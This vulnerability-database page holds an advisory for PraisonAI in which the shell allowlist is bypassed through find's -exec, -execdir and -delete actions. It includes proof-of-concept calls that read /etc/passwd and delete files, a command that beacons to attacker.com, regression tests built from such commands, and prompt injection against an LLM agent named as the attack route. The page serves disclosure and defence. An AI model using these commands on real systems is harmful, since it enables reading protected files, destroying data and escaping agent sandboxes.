PYSEC-2026-4254
Vulnerability from pysec - Published: 2026-10-15 10:22 - Updated: 2026-10-15 14:38Summary
The shell command execution hardening introduced in PraisonAI npm 1.7.2 / Python 4.6.58 to fix GHSA-5jv7-2mjm-h6qj (utility-tools shell chaining) and GHSA-vjv9-7m7j-h833 (SandboxExecutor chaining) can be bypassed via find's built-in -exec action.
The fix blocks shell metacharacters (;|&`><$()${}) and uses spawn() with shell: false. However, find remains in the safe command allowlist, and its -exec ... {} + action executes commands without shell metacharacters — the + batch terminator replaces the blocked ; terminator. The same gap exists in 4 parallel implementations (verified by source inspection of each).
Details
Root cause: Each of the four implementations validates the first token of the command against an allowlist or blocklist, then passes the remaining tokens as arguments to spawn()/subprocess.Popen() with shell: false. Shell metacharacter injection is indeed blocked.
However, find is a Unix command with built-in execution actions: -exec, -execdir, -delete, -ok, -okdir. These actions are interpreted by find itself, not by the shell. They execute programs or delete files without shell metacharacters (verified: the payload find /etc -name passwd -maxdepth 1 -execdir cat {} + passes the regex at line 240 of utility-tools.ts):
find /path -exec <command> {} +
The + terminator (batch mode) avoids ; which IS blocked by the metacharacter regex.
Affected components (4 implementations, same gap):
| # | Component | File | Gap |
|---|---|---|---|
| 1 | TS utility-tools shell() |
src/praisonai-ts/src/tools/utility-tools.ts:255 |
find in safeCommands allowlist |
| 2 | TS SandboxExecutor | src/praisonai-ts/src/cli/features/sandbox-executor.ts:30-50 |
find absent from DEFAULT_BLOCKED_COMMANDS |
| 3 | Python safe_shell |
src/praisonai/praisonai/cli/features/safe_shell.py:22-58 |
find absent from BANNED_COMMANDS, present in SAFE_COMMANDS |
| 4 | Python sandbox_executor |
src/praisonai/praisonai/cli/features/sandbox_executor.py:87-91 |
find absent from blocked_commands |
Bypass analysis:
| Check | find /etc -name passwd -maxdepth 1 -execdir cat {} + |
Result |
|---|---|---|
Metachar regex /[;|&\><]/|{,},+` are not in regex |
PASS | |
Regex /\$\([^)]*\)/ |
No $(...) |
PASS |
safeCommands.includes('find') |
find IS in allowlist |
PASS |
| SandboxExecutor blocked paths | normalized.includes('/etc/passwd') → FALSE (path split: /etc + passwd) |
PASS |
spawn('find', [...], {shell:false}) |
find interprets -execdir internally |
BYPASS |
The -execdir technique also evades the SandboxExecutor's substring-based path restriction: /etc and passwd appear as separate arguments, so /etc/passwd never appears as a contiguous substring of the command string.
Preconditions:
| Precondition | How attacker obtains | Default? |
|---|---|---|
Access to shell() or SandboxExecutor |
Default built-in tool in the npm agent toolkit; reachable via prompt injection | Y |
find binary on target |
Standard Unix utility, present on Linux/macOS | Y |
find in allowlist / absent from blocklist |
Default configuration in each implementation | Y |
PoC
1. Data exfiltration via -execdir (utility-tools.ts)
const { shell } = require('praisonai/dist/tools/utility-tools');
async function poc() {
// Control: direct 'wget' is rejected (not in safeCommands)
const control = await shell('wget http://example.com');
console.log('[CONTROL] rejected:', !control.success); // true
// Bypass: find -execdir reads /etc/passwd via find's built-in action
const bypass = await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +');
console.log('[BYPASS]:', bypass.success); // true
console.log(bypass.data); // root:x:0:0:root:/root:/bin/bash ...
}
poc();
Code path: safeCommands.includes('find') → true → containsShellMetacharacters(...) → false → spawn('find', ['/etc','-name','passwd','-maxdepth','1','-execdir','cat','{}','+'], {shell:false}) → find chdirs to /etc → cat ./passwd → exit 0 → {success: true, data: "<passwd contents>"}.
2. File deletion
await shell('find /app/uploads -name "*.bak" -delete');
// -delete is a find built-in — clean exit 0, files deleted
3. Non-allowlisted command (side-effect based)
await shell('find /tmp -maxdepth 0 -exec wget -q http://attacker.com/beacon {} +');
// HTTP request fires as side effect before find returns non-zero
4. Python safe_shell
from praisonai.cli.features.safe_shell import safe_execute
result = safe_execute("find /etc -name passwd -maxdepth 1 -execdir cat {} +")
print(result.stdout) # root:x:0:0:root:/root:/bin/bash ...
Impact
An attacker who can influence the command parameter of shell() (via prompt injection directing an LLM agent, or direct API input to SandboxExecutor) achieves:
- Blocked file read:
-execdirreads files inDEFAULT_BLOCKED_PATHSby splitting the path across arguments (verified: exit 0, data returned) - File deletion:
-deletedestroys files without metacharacters (verified: clean exit 0) - Non-allowlisted command execution:
-execruns commands not in safeCommands (side effect fires regardless of exit code)
Shell substitution ($(...)) IS blocked, so the bypass is limited to executing binaries already on disk — but this includes cat, chmod, python3, curl etc.
Same severity class as GHSA-5jv7-2mjm-h6qj / GHSA-vjv9-7m7j-h833.
Suggested fix
Option A: Remove find from each safe/allowed command list (4 locations). Simplest fix.
Option B: If find must remain, parse arguments and reject -exec, -execdir, -delete, -fls, -fprint, -fprintf, -ok, -okdir flags.
Regression tests:
test('rejects find -exec', async () => {
expect((await shell('find /tmp -maxdepth 0 -exec wget http://x.com {} +')).success).toBe(false);
});
test('rejects find -execdir', async () => {
expect((await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +')).success).toBe(false);
});
test('rejects find -delete', async () => {
expect((await shell('find /app -name "*.bak" -delete')).success).toBe(false);
});
References
- GHSA-5jv7-2mjm-h6qj: Utility shell safe-command wrapper allowlist bypass via shell chaining (High 8.8)
- GHSA-vjv9-7m7j-h833: SandboxExecutor allowedCommands bypass via shell chaining (High)
- Fix commits: 2adfe7e, 2f9677a (2026-06-13)
| Name | purl | praisonai | pkg:pypi/praisonai |
|---|
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "praisonai",
"purl": "pkg:pypi/praisonai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.6.78"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.0.1",
"0.0.10",
"0.0.11",
"0.0.12",
"0.0.13",
"0.0.14",
"0.0.15",
"0.0.16",
"0.0.17",
"0.0.18",
"0.0.19",
"0.0.2",
"0.0.20",
"0.0.21",
"0.0.22",
"0.0.23",
"0.0.24",
"0.0.25",
"0.0.26",
"0.0.27",
"0.0.28",
"0.0.29",
"0.0.3",
"0.0.30",
"0.0.31",
"0.0.32",
"0.0.33",
"0.0.34",
"0.0.35",
"0.0.36",
"0.0.37",
"0.0.38",
"0.0.39",
"0.0.4",
"0.0.40",
"0.0.41",
"0.0.42",
"0.0.43",
"0.0.44",
"0.0.45",
"0.0.46",
"0.0.47",
"0.0.48",
"0.0.49",
"0.0.5",
"0.0.50",
"0.0.52",
"0.0.53",
"0.0.54",
"0.0.55",
"0.0.56",
"0.0.57",
"0.0.58",
"0.0.59",
"0.0.59rc11",
"0.0.59rc2",
"0.0.59rc3",
"0.0.59rc5",
"0.0.59rc6",
"0.0.59rc7",
"0.0.59rc8",
"0.0.59rc9",
"0.0.6",
"0.0.61",
"0.0.64",
"0.0.65",
"0.0.66",
"0.0.67",
"0.0.68",
"0.0.69",
"0.0.7",
"0.0.70",
"0.0.71",
"0.0.72",
"0.0.73",
"0.0.74",
"0.0.8",
"0.0.9",
"0.1.0",
"0.1.1",
"0.1.10",
"0.1.2",
"0.1.3",
"0.1.4",
"0.1.5",
"0.1.6",
"0.1.7",
"0.1.8",
"0.1.9",
"1.0.0",
"1.0.1",
"1.0.10",
"1.0.11",
"1.0.2",
"1.0.3",
"1.0.4",
"1.0.5",
"1.0.6",
"1.0.8",
"1.0.9",
"2.0.0",
"2.0.1",
"2.0.10",
"2.0.11",
"2.0.12",
"2.0.13",
"2.0.14",
"2.0.15",
"2.0.16",
"2.0.17",
"2.0.18",
"2.0.19",
"2.0.2",
"2.0.20",
"2.0.22",
"2.0.23",
"2.0.24",
"2.0.25",
"2.0.26",
"2.0.27",
"2.0.28",
"2.0.29",
"2.0.3",
"2.0.30",
"2.0.31",
"2.0.32",
"2.0.33",
"2.0.34",
"2.0.35",
"2.0.36",
"2.0.37",
"2.0.38",
"2.0.39",
"2.0.40",
"2.0.41",
"2.0.42",
"2.0.43",
"2.0.44",
"2.0.45",
"2.0.46",
"2.0.47",
"2.0.48",
"2.0.49",
"2.0.5",
"2.0.50",
"2.0.51",
"2.0.53",
"2.0.54",
"2.0.55",
"2.0.56",
"2.0.57",
"2.0.58",
"2.0.59",
"2.0.6",
"2.0.60",
"2.0.61",
"2.0.62",
"2.0.63",
"2.0.64",
"2.0.65",
"2.0.66",
"2.0.67",
"2.0.68",
"2.0.69",
"2.0.7",
"2.0.70",
"2.0.71",
"2.0.72",
"2.0.73",
"2.0.74",
"2.0.75",
"2.0.76",
"2.0.77",
"2.0.78",
"2.0.79",
"2.0.8",
"2.0.80",
"2.0.81",
"2.0.9",
"2.1.0",
"2.1.1",
"2.1.4",
"2.1.5",
"2.1.6",
"2.2.1",
"2.2.10",
"2.2.11",
"2.2.12",
"2.2.13",
"2.2.14",
"2.2.15",
"2.2.16",
"2.2.17",
"2.2.18",
"2.2.19",
"2.2.2",
"2.2.20",
"2.2.21",
"2.2.22",
"2.2.24",
"2.2.25",
"2.2.26",
"2.2.27",
"2.2.28",
"2.2.29",
"2.2.3",
"2.2.30",
"2.2.31",
"2.2.32",
"2.2.33",
"2.2.34",
"2.2.35",
"2.2.36",
"2.2.37",
"2.2.38",
"2.2.39",
"2.2.4",
"2.2.40",
"2.2.41",
"2.2.42",
"2.2.43",
"2.2.44",
"2.2.45",
"2.2.46",
"2.2.47",
"2.2.48",
"2.2.49",
"2.2.5",
"2.2.50",
"2.2.51",
"2.2.52",
"2.2.53",
"2.2.54",
"2.2.55",
"2.2.56",
"2.2.57",
"2.2.58",
"2.2.59",
"2.2.6",
"2.2.60",
"2.2.61",
"2.2.62",
"2.2.63",
"2.2.64",
"2.2.65",
"2.2.66",
"2.2.67",
"2.2.68",
"2.2.69",
"2.2.7",
"2.2.70",
"2.2.71",
"2.2.72",
"2.2.73",
"2.2.74",
"2.2.75",
"2.2.76",
"2.2.77",
"2.2.78",
"2.2.79",
"2.2.8",
"2.2.80",
"2.2.81",
"2.2.82",
"2.2.83",
"2.2.84",
"2.2.86",
"2.2.87",
"2.2.88",
"2.2.89",
"2.2.9",
"2.2.90",
"2.2.91",
"2.2.93",
"2.2.95",
"2.2.96",
"2.2.97",
"2.2.98",
"2.2.99",
"2.3.0",
"2.3.1",
"2.3.10",
"2.3.11",
"2.3.12",
"2.3.13",
"2.3.14",
"2.3.15",
"2.3.16",
"2.3.18",
"2.3.19",
"2.3.2",
"2.3.20",
"2.3.21",
"2.3.22",
"2.3.23",
"2.3.24",
"2.3.25",
"2.3.26",
"2.3.27",
"2.3.28",
"2.3.29",
"2.3.3",
"2.3.30",
"2.3.31",
"2.3.32",
"2.3.33",
"2.3.34",
"2.3.35",
"2.3.36",
"2.3.37",
"2.3.38",
"2.3.39",
"2.3.4",
"2.3.40",
"2.3.41",
"2.3.42",
"2.3.43",
"2.3.44",
"2.3.45",
"2.3.46",
"2.3.47",
"2.3.48",
"2.3.49",
"2.3.5",
"2.3.50",
"2.3.51",
"2.3.52",
"2.3.53",
"2.3.54",
"2.3.55",
"2.3.56",
"2.3.57",
"2.3.58",
"2.3.59",
"2.3.6",
"2.3.60",
"2.3.61",
"2.3.62",
"2.3.63",
"2.3.64",
"2.3.65",
"2.3.66",
"2.3.67",
"2.3.68",
"2.3.69",
"2.3.7",
"2.3.70",
"2.3.71",
"2.3.72",
"2.3.73",
"2.3.74",
"2.3.75",
"2.3.76",
"2.3.77",
"2.3.78",
"2.3.79",
"2.3.8",
"2.3.80",
"2.3.81",
"2.3.82",
"2.3.83",
"2.3.84",
"2.3.85",
"2.3.86",
"2.3.87",
"2.3.9",
"2.4.0",
"2.4.1",
"2.4.2",
"2.4.3",
"2.4.4",
"2.5.0",
"2.5.1",
"2.5.2",
"2.5.3",
"2.5.4",
"2.5.5",
"2.5.6",
"2.5.7",
"2.6.0",
"2.6.1",
"2.6.2",
"2.6.3",
"2.6.4",
"2.6.5",
"2.6.6",
"2.6.7",
"2.6.8",
"2.7.0",
"2.8.3",
"2.8.4",
"2.8.5",
"2.8.6",
"2.8.7",
"2.8.8",
"2.8.9",
"2.9.0",
"2.9.1",
"2.9.2",
"3.0.0",
"3.0.1",
"3.0.2",
"3.0.3",
"3.0.4",
"3.0.5",
"3.0.6",
"3.0.7",
"3.0.8",
"3.0.9",
"3.1.0",
"3.1.1",
"3.1.2",
"3.1.3",
"3.1.4",
"3.1.5",
"3.1.6",
"3.1.7",
"3.1.8",
"3.1.9",
"3.10.0",
"3.10.1",
"3.10.10",
"3.10.11",
"3.10.12",
"3.10.13",
"3.10.14",
"3.10.15",
"3.10.16",
"3.10.17",
"3.10.18",
"3.10.19",
"3.10.2",
"3.10.20",
"3.10.21",
"3.10.22",
"3.10.23",
"3.10.24",
"3.10.25",
"3.10.26",
"3.10.27",
"3.10.3",
"3.10.4",
"3.10.5",
"3.10.6",
"3.10.7",
"3.10.8",
"3.10.9",
"3.11.0",
"3.11.1",
"3.11.10",
"3.11.11",
"3.11.12",
"3.11.13",
"3.11.14",
"3.11.2",
"3.11.3",
"3.11.4",
"3.11.8",
"3.11.9",
"3.12.0",
"3.12.1",
"3.12.2",
"3.12.3",
"3.2.0",
"3.2.1",
"3.3.0",
"3.3.1",
"3.4.0",
"3.4.1",
"3.5.0",
"3.5.1",
"3.5.2",
"3.5.3",
"3.5.4",
"3.5.5",
"3.5.6",
"3.5.7",
"3.5.8",
"3.5.9",
"3.6.0",
"3.6.1",
"3.6.2",
"3.7.0",
"3.7.1",
"3.7.2",
"3.7.3",
"3.7.4",
"3.7.5",
"3.7.6",
"3.7.7",
"3.7.8",
"3.7.9",
"3.8.0",
"3.8.1",
"3.8.10",
"3.8.11",
"3.8.12",
"3.8.13",
"3.8.14",
"3.8.16",
"3.8.17",
"3.8.18",
"3.8.19",
"3.8.2",
"3.8.20",
"3.8.21",
"3.8.22",
"3.8.3",
"3.8.4",
"3.8.5",
"3.8.6",
"3.8.7",
"3.8.8",
"3.8.9",
"3.9.0",
"3.9.1",
"3.9.10",
"3.9.11",
"3.9.12",
"3.9.13",
"3.9.14",
"3.9.15",
"3.9.16",
"3.9.17",
"3.9.18",
"3.9.19",
"3.9.2",
"3.9.20",
"3.9.21",
"3.9.22",
"3.9.23",
"3.9.24",
"3.9.25",
"3.9.26",
"3.9.27",
"3.9.28",
"3.9.29",
"3.9.3",
"3.9.30",
"3.9.31",
"3.9.32",
"3.9.33",
"3.9.34",
"3.9.35",
"3.9.4",
"3.9.5",
"3.9.6",
"3.9.7",
"3.9.8",
"3.9.9",
"4.0.0",
"4.1.0",
"4.2.0",
"4.2.1",
"4.2.2",
"4.2.3",
"4.2.4",
"4.3.0",
"4.3.1",
"4.4.0",
"4.4.10",
"4.4.11",
"4.4.12",
"4.4.2",
"4.4.3",
"4.4.4",
"4.4.5",
"4.4.6",
"4.4.7",
"4.4.8",
"4.4.9",
"4.5.0",
"4.5.1",
"4.5.10",
"4.5.100",
"4.5.101",
"4.5.102",
"4.5.103",
"4.5.104",
"4.5.105",
"4.5.106",
"4.5.107",
"4.5.108",
"4.5.109",
"4.5.11",
"4.5.110",
"4.5.111",
"4.5.112",
"4.5.113",
"4.5.114",
"4.5.115",
"4.5.117",
"4.5.118",
"4.5.119",
"4.5.12",
"4.5.120",
"4.5.121",
"4.5.122",
"4.5.123",
"4.5.124",
"4.5.125",
"4.5.126",
"4.5.127",
"4.5.128",
"4.5.129",
"4.5.13",
"4.5.130",
"4.5.131",
"4.5.132",
"4.5.133",
"4.5.134",
"4.5.135",
"4.5.136",
"4.5.137",
"4.5.139",
"4.5.14",
"4.5.140",
"4.5.143",
"4.5.144",
"4.5.145",
"4.5.149",
"4.5.15",
"4.5.16",
"4.5.18",
"4.5.19",
"4.5.2",
"4.5.20",
"4.5.21",
"4.5.22",
"4.5.23",
"4.5.24",
"4.5.25",
"4.5.26",
"4.5.27",
"4.5.28",
"4.5.29",
"4.5.3",
"4.5.30",
"4.5.31",
"4.5.32",
"4.5.33",
"4.5.34",
"4.5.35",
"4.5.36",
"4.5.37",
"4.5.38",
"4.5.39",
"4.5.40",
"4.5.41",
"4.5.42",
"4.5.43",
"4.5.44",
"4.5.45",
"4.5.46",
"4.5.48",
"4.5.49",
"4.5.5",
"4.5.51",
"4.5.52",
"4.5.54",
"4.5.55",
"4.5.56",
"4.5.57",
"4.5.58",
"4.5.59",
"4.5.6",
"4.5.60",
"4.5.62",
"4.5.63",
"4.5.64",
"4.5.65",
"4.5.67",
"4.5.68",
"4.5.69",
"4.5.7",
"4.5.70",
"4.5.71",
"4.5.72",
"4.5.73",
"4.5.74",
"4.5.76",
"4.5.77",
"4.5.78",
"4.5.79",
"4.5.8",
"4.5.80",
"4.5.81",
"4.5.82",
"4.5.83",
"4.5.85",
"4.5.87",
"4.5.88",
"4.5.89",
"4.5.9",
"4.5.90",
"4.5.93",
"4.5.94",
"4.5.95",
"4.5.96",
"4.5.97",
"4.5.98",
"4.6.10",
"4.6.11",
"4.6.12",
"4.6.13",
"4.6.14",
"4.6.15",
"4.6.16",
"4.6.18",
"4.6.19",
"4.6.20",
"4.6.21",
"4.6.22",
"4.6.23",
"4.6.24",
"4.6.25",
"4.6.26",
"4.6.27",
"4.6.28",
"4.6.29",
"4.6.30",
"4.6.31",
"4.6.32",
"4.6.33",
"4.6.34",
"4.6.35",
"4.6.36",
"4.6.37",
"4.6.38",
"4.6.39",
"4.6.40",
"4.6.41",
"4.6.42",
"4.6.43",
"4.6.44",
"4.6.45",
"4.6.46",
"4.6.47",
"4.6.48",
"4.6.50",
"4.6.51",
"4.6.52",
"4.6.53",
"4.6.54",
"4.6.55",
"4.6.56",
"4.6.57",
"4.6.58",
"4.6.59",
"4.6.60",
"4.6.62",
"4.6.63",
"4.6.64",
"4.6.65",
"4.6.67",
"4.6.68",
"4.6.70",
"4.6.71",
"4.6.72",
"4.6.74",
"4.6.75",
"4.6.77",
"4.6.9"
]
}
],
"aliases": [
"CVE-2026-61434",
"GHSA-cv3g-hj65-pcfh"
],
"details": "### Summary\n\nThe shell command execution hardening introduced in PraisonAI npm 1.7.2 / Python 4.6.58 to fix GHSA-5jv7-2mjm-h6qj (utility-tools shell chaining) and GHSA-vjv9-7m7j-h833 (SandboxExecutor chaining) can be bypassed via `find`\u0027s built-in `-exec` action.\n\nThe fix blocks shell metacharacters (`` ;|\u0026`\u003e\u003c$()${} ``) and uses `spawn()` with `shell: false`. However, `find` remains in the safe command allowlist, and its `-exec ... {} +` action executes commands without shell metacharacters \u2014 the `+` batch terminator replaces the blocked `;` terminator. The same gap exists in 4 parallel implementations (verified by source inspection of each).\n\n### Details\n\n**Root cause**: Each of the four implementations validates the **first token** of the command against an allowlist or blocklist, then passes the remaining tokens as arguments to `spawn()`/`subprocess.Popen()` with `shell: false`. Shell metacharacter injection is indeed blocked.\n\nHowever, `find` is a Unix command with **built-in execution actions**: `-exec`, `-execdir`, `-delete`, `-ok`, `-okdir`. These actions are interpreted by `find` itself, not by the shell. They execute programs or delete files without shell metacharacters (verified: the payload `find /etc -name passwd -maxdepth 1 -execdir cat {} +` passes the regex at line 240 of utility-tools.ts):\n\n```\nfind /path -exec \u003ccommand\u003e {} +\n```\n\nThe `+` terminator (batch mode) avoids `;` which IS blocked by the metacharacter regex.\n\n**Affected components** (4 implementations, same gap):\n\n| # | Component | File | Gap |\n|---|---|---|---|\n| 1 | TS utility-tools `shell()` | `src/praisonai-ts/src/tools/utility-tools.ts:255` | `find` in `safeCommands` allowlist |\n| 2 | TS SandboxExecutor | `src/praisonai-ts/src/cli/features/sandbox-executor.ts:30-50` | `find` absent from `DEFAULT_BLOCKED_COMMANDS` |\n| 3 | Python `safe_shell` | `src/praisonai/praisonai/cli/features/safe_shell.py:22-58` | `find` absent from `BANNED_COMMANDS`, present in `SAFE_COMMANDS` |\n| 4 | Python `sandbox_executor` | `src/praisonai/praisonai/cli/features/sandbox_executor.py:87-91` | `find` absent from `blocked_commands` |\n\n**Bypass analysis**:\n\n| Check | `find /etc -name passwd -maxdepth 1 -execdir cat {} +` | Result |\n|---|---|---|\n| Metachar regex `/[;|\u0026\\`\u003e\u003c]/` | `{`, `}`, `+` are not in regex | PASS |\n| Regex `/\\$\\([^)]*\\)/` | No `$(...)` | PASS |\n| `safeCommands.includes(\u0027find\u0027)` | `find` IS in allowlist | PASS |\n| SandboxExecutor blocked paths | `normalized.includes(\u0027/etc/passwd\u0027)` \u2192 FALSE (path split: `/etc ` + `passwd`) | PASS |\n| `spawn(\u0027find\u0027, [...], {shell:false})` | find interprets `-execdir` internally | BYPASS |\n\nThe `-execdir` technique also evades the SandboxExecutor\u0027s substring-based path restriction: `/etc` and `passwd` appear as separate arguments, so `/etc/passwd` never appears as a contiguous substring of the command string.\n\n**Preconditions**:\n\n| Precondition | How attacker obtains | Default? |\n|---|---|---|\n| Access to `shell()` or SandboxExecutor | Default built-in tool in the npm agent toolkit; reachable via prompt injection | Y |\n| `find` binary on target | Standard Unix utility, present on Linux/macOS | Y |\n| `find` in allowlist / absent from blocklist | Default configuration in each implementation | Y |\n\n### PoC\n\n**1. Data exfiltration via -execdir (utility-tools.ts)**\n\n```javascript\nconst { shell } = require(\u0027praisonai/dist/tools/utility-tools\u0027);\n\nasync function poc() {\n // Control: direct \u0027wget\u0027 is rejected (not in safeCommands)\n const control = await shell(\u0027wget http://example.com\u0027);\n console.log(\u0027[CONTROL] rejected:\u0027, !control.success); // true\n\n // Bypass: find -execdir reads /etc/passwd via find\u0027s built-in action\n const bypass = await shell(\u0027find /etc -name passwd -maxdepth 1 -execdir cat {} +\u0027);\n console.log(\u0027[BYPASS]:\u0027, bypass.success); // true\n console.log(bypass.data); // root:x:0:0:root:/root:/bin/bash ...\n}\npoc();\n```\n\nCode path: `safeCommands.includes(\u0027find\u0027)` \u2192 true \u2192 `containsShellMetacharacters(...)` \u2192 false \u2192 `spawn(\u0027find\u0027, [\u0027/etc\u0027,\u0027-name\u0027,\u0027passwd\u0027,\u0027-maxdepth\u0027,\u00271\u0027,\u0027-execdir\u0027,\u0027cat\u0027,\u0027{}\u0027,\u0027+\u0027], {shell:false})` \u2192 find chdirs to /etc \u2192 `cat ./passwd` \u2192 exit 0 \u2192 `{success: true, data: \"\u003cpasswd contents\u003e\"}`.\n\n**2. File deletion**\n\n```javascript\nawait shell(\u0027find /app/uploads -name \"*.bak\" -delete\u0027);\n// -delete is a find built-in \u2014 clean exit 0, files deleted\n```\n\n**3. Non-allowlisted command (side-effect based)**\n\n```javascript\nawait shell(\u0027find /tmp -maxdepth 0 -exec wget -q http://attacker.com/beacon {} +\u0027);\n// HTTP request fires as side effect before find returns non-zero\n```\n\n**4. Python safe_shell**\n\n```python\nfrom praisonai.cli.features.safe_shell import safe_execute\n\nresult = safe_execute(\"find /etc -name passwd -maxdepth 1 -execdir cat {} +\")\nprint(result.stdout) # root:x:0:0:root:/root:/bin/bash ...\n```\n\n### Impact\n\nAn attacker who can influence the command parameter of `shell()` (via prompt injection directing an LLM agent, or direct API input to SandboxExecutor) achieves:\n\n- **Blocked file read**: `-execdir` reads files in `DEFAULT_BLOCKED_PATHS` by splitting the path across arguments (verified: exit 0, data returned)\n- **File deletion**: `-delete` destroys files without metacharacters (verified: clean exit 0)\n- **Non-allowlisted command execution**: `-exec` runs commands not in safeCommands (side effect fires regardless of exit code)\n\nShell substitution (`$(...)`) IS blocked, so the bypass is limited to executing binaries already on disk \u2014 but this includes `cat`, `chmod`, `python3`, `curl` etc.\n\nSame severity class as GHSA-5jv7-2mjm-h6qj / GHSA-vjv9-7m7j-h833.\n\n### Suggested fix\n\n**Option A**: Remove `find` from each safe/allowed command list (4 locations). Simplest fix.\n\n**Option B**: If `find` must remain, parse arguments and reject `-exec`, `-execdir`, `-delete`, `-fls`, `-fprint`, `-fprintf`, `-ok`, `-okdir` flags.\n\n**Regression tests**:\n```typescript\ntest(\u0027rejects find -exec\u0027, async () =\u003e {\n expect((await shell(\u0027find /tmp -maxdepth 0 -exec wget http://x.com {} +\u0027)).success).toBe(false);\n});\ntest(\u0027rejects find -execdir\u0027, async () =\u003e {\n expect((await shell(\u0027find /etc -name passwd -maxdepth 1 -execdir cat {} +\u0027)).success).toBe(false);\n});\ntest(\u0027rejects find -delete\u0027, async () =\u003e {\n expect((await shell(\u0027find /app -name \"*.bak\" -delete\u0027)).success).toBe(false);\n});\n```\n\n### References\n\n- GHSA-5jv7-2mjm-h6qj: Utility shell safe-command wrapper allowlist bypass via shell chaining (High 8.8)\n- GHSA-vjv9-7m7j-h833: SandboxExecutor allowedCommands bypass via shell chaining (High)\n- Fix commits: 2adfe7e, 2f9677a (2026-06-13)",
"id": "PYSEC-2026-4254",
"modified": "2026-10-15T14:38:01.864823Z",
"published": "2026-10-15T10:22:53.625645Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-cv3g-hj65-pcfh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61434"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/praisonai-before-allowlist-bypass-via-find-exec"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/praisonai"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-cv3g-hj65-pcfh"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI: Shell command allowlist bypass via find -exec built-in action"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.